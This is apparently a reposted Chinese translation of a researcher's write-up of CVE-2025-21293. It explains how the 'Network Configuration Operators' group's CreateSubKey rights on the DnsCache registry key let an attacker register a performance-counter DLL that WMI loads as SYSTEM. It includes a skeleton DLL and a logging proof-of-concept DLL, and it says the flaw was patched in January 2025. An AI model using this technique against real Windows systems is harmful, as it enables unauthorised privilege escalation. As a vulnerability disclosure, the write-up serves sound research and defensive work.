介绍
2024 年 9 月,在执行客户任务时,我遇到了“网络配置操作员”组,即 Active Directory(默认)的所谓内置组。由于我以前从未听说过或遇到过此组成员身份,因此它立即引起了我的注意。起初,我试图查找它是否存在任何安全隐患,例如其更知名的同事 DNS 管理员和备份操作员,但无济于事。令人惊讶的是,关于该组的信息很少,但我忍不住进一步探究。这让我陷入了注册表数据库访问控制列表和武器化可能性的泥潭,最终发现了CVE-2025-21293。在我们继续工作之前,我必须特别感谢 Clément Labro,他最初做了大量工作,找到了一种将性能计数器武器化的方法。 (希望本文结束时您会对此更加理解)以及我在 ReTest Security ApS 的同事,他们为我提供了该领域的知识和运用这些知识的机会。
网络配置操作员
“网络配置操作员”组是所谓的默认 Active Directory 安全组之一。当您设置本地域控制器时,会自动创建该组和其他类似组。
Microsoft Learn 文档 - https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#default-security-groups
我找到了这篇存档文章,据我所知,这是详细介绍“网络配置操作员”组的介绍和功能的原始文章,日期为 2007 年。从文章中可以清楚地看出,该组旨在为用户提供对其计算机网络接口的操作权限。但不允许他们拥有完整的本地管理员权限。从表面上看,这很有道理,但出于某种原因,微软让这个旧的内置组拥有了太多的系统权限。存档的知识库文章
输出 whoami /groups
创建子键
我解析了注册表数据库访问控制列表,发现用户组访问控制列表权限存在异常,因为该组拥有两个敏感服务相关注册表项的“CreateSubKey”属性:DnsCache 和NetBT。
根据注册表项安全性和访问权限的文档,该KEY_CREATE_SUB_KEY属性的用途很窄,即为现有注册表项创建子项。
现在,只有当谜题的下一部分被引入时,事情才变得有趣。因为 Windows 允许用户使用Performance Data系统服务和应用程序。
利用性能计数器
从高层次上讲,性能计数器函数通过性能计数器消费者(例如我们示例中的 PerfMon.exe 或 WMI)检索和处理来自系统上的服务和应用程序的数据。对我们来说,这意味着能够在系统上和 WMI 服务(NTSYSTEM)的安全上下文中运行代码。但首先让我们分解一下如何注册性能计数器。
OpenPerformanceData 文档 - https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa372200(v=vs.85)
为了注册性能监视例程,程序员必须注册 4 个注册表子项:
-
库(性能 DLL 的名称)
-
打开(DLL 中打开函数的名称)
-
收集(DLL 中的收集函数的名称)
-
关闭(DLL 中的关闭函数的名称)
通过注册 DnsCache 服务注册表项下的子项,如下例所示,我们已经成功映射了性能计数器。
概念验证代码
下面是性能计数器 DLL 的骨架,除了逻辑之外包含必要的部分。
#include<Windows.h>// Exported functions for Performance Counterextern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();// Example implementation of the Open functionDWORD APIENTRY OpenPerfData(LPWSTR pContext){// Implement logic for initializing the performance counterreturn ERROR_SUCCESS; // Return success}// Example implementation of the Collect functionDWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){// Implement logic for collecting performance data// Populate ppData, pcbData, and pObjectsReturned as neededreturn ERROR_SUCCESS; // Return success}// Example implementation of the Close functionDWORD APIENTRY ClosePerfData(){// Implement logic for cleaning up resources or closing the performance counterreturn ERROR_SUCCESS; // Return success}// DLL Entry Pointextern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){switch (reason) {case DLL_PROCESS_ATTACH:// Implement initialization logic for when the DLL is loadedbreak;case DLL_THREAD_ATTACH:// Optional: Logic for thread initializationbreak;case DLL_THREAD_DETACH:// Optional: Logic for thread cleanupbreak;case DLL_PROCESS_DETACH:// Implement cleanup logic for when the DLL is unloadedbreak; }return TRUE;}
由于 Itm4n 已经开始利用性能计数器,因此我依靠他的工作成果和概念验证代码,这些代码非常优雅地记录了 DLL 中导出函数的执行上下文。这是他在 2020 年博客文章中分享的实现。
#include<iostream>#include<Windows.h>#include<Lmcons.h> // UNLEN + GetUserName#include<tlhelp32.h> // CreateToolhelp32Snapshot()#include<strsafe.h>extern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();voidLog(LPCWSTR pwszCallingFrom);voidLogToFile(LPCWSTR pwszFilnema, LPWSTR pwszData);DWORD APIENTRY OpenPerfData(LPWSTR pContext){ Log(L"OpenPerfData");return ERROR_SUCCESS;}DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){ Log(L"CollectPerfData");return ERROR_SUCCESS;}DWORD APIENTRY ClosePerfData(){ Log(L"ClosePerfData");return ERROR_SUCCESS;}voidLog(LPCWSTR pwszCallingFrom){ LPWSTR pwszBuffer, pwszCommandLine; WCHAR wszUsername[UNLEN + 1] = { 0 }; SYSTEMTIME st = { 0 }; HANDLE hToolhelpSnapshot; PROCESSENTRY32 stProcessEntry = { 0 }; DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0; BOOL bResult = FALSE;// Get the command line of the current process pwszCommandLine = GetCommandLine();// Get the name of the process owner GetUserName(wszUsername, &dwPcbBuffer);// Get the PID of the current process dwProcessId = GetCurrentProcessId();// Get the PID of the parent process hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); stProcessEntry.dwSize = sizeof(PROCESSENTRY32);if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {do {if (stProcessEntry.th32ProcessID == dwProcessId) { dwParentProcessId = stProcessEntry.th32ParentProcessID;break; } } while (Process32Next(hToolhelpSnapshot, &stProcessEntry)); } CloseHandle(hToolhelpSnapshot);// Get the current date and time GetLocalTime(&st);// Prepare the output string and log the result dwBufSize = 4096 * sizeof(WCHAR); pwszBuffer = (LPWSTR)malloc(dwBufSize);if (pwszBuffer) { StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'rn", st.wHour, st.wMinute, st.wSecond, dwProcessId, dwParentProcessId, wszUsername, pwszCommandLine, pwszCallingFrom ); LogToFile(L"C:\LOGS\RpcEptMapperPoc.log", pwszBuffer);free(pwszBuffer); }}voidLogToFile(LPCWSTR pwszFilename, LPWSTR pwszData){ HANDLE hFile; DWORD dwBytesWritten; hFile= CreateFile(pwszFilename, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile != INVALID_HANDLE_VALUE) { WriteFile(hFile, pwszData, (DWORD)wcslen(pwszData) * sizeof(WCHAR), &dwBytesWritten, NULL); CloseHandle(hFile); }}extern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){switch (reason) {case DLL_PROCESS_ATTACH: Log(L"DllMain");break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:break; }return TRUE;}
终局
一旦注册表项被映射并且 DLL 位于磁盘上(或者理论上位于网络范围内的某个地方),就可以启动火箭并希望它着陆。现在请记住,我曾谈到过 Perfmon.exe 作为性能计数器消费者,只需通过 Explorer 启动 Perfmon.exe 实用程序(如下面的屏幕截图所示界面),我们就会看到日志记录功能的执行情况。
现在,在这种情况下,利用性能计数器的武器化依赖于使用 WMI 作为消费者来查询性能计数器,
从屏幕截图中可以看出,恶意 DLL 已在 SYSTEM 安全上下文中执行。这是本博客中的最终证据,它巩固了在 2025 年 1 月 14 日通过引入 1 月安全更新在“网络配置操作员”组中修复的条件下成功破坏系统完整性的结论。
最后的想法
这个支线任务既出乎意料,又很有趣,是一次很棒的学习经历。它无疑激励我进一步深入学习和研究 Windows 内部结构。随着 1 月份的安全更新,这条特定路径已被修补,现在似乎“CreateSubKey”权限不再伴随“Set value”权限,该权限允许将密钥名称更改为“Performance”,这是利用的初始基础。我将尝试从用户的角度深入研究注册表数据库及其安全隐患。
原文始发于微信公众号(Ots安全):Active Directory 域服务特权提升漏洞 (CVE-2025-21293)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论